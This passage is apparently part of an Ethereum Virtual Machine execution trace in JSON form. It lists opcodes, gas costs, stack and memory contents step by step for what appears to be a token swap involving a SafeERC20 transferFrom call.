000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000000000000000000000000000"]},{"pc":12385,"op":"PUSH1","gas":78583,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000000000000000000000000000"]},{"pc":12387,"op":"DUP4","gas":78580,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000000000000000000000000000"]},{"pc":12388,"op":"ADD","gas":78577,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000000000000000000000000000"]},{"pc":12389,"op":"MSTORE","gas":78574,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x3a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000000000000000000000000000"]},{"pc":12390,"op":"SWAP2","gas":78568,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12391,"op":"SWAP3","gas":78565,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x384","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12392,"op":"POP","gas":78562,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff","0x384","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12393,"op":"PUSH32","gas":78560,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12426,"op":"SWAP1","gas":78557,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff","0x384","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12427,"op":"SWAP2","gas":78554,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12428,"op":"AND","gas":78551,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12429,"op":"SWAP1","gas":78548,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564000000000000000000000000000000000000000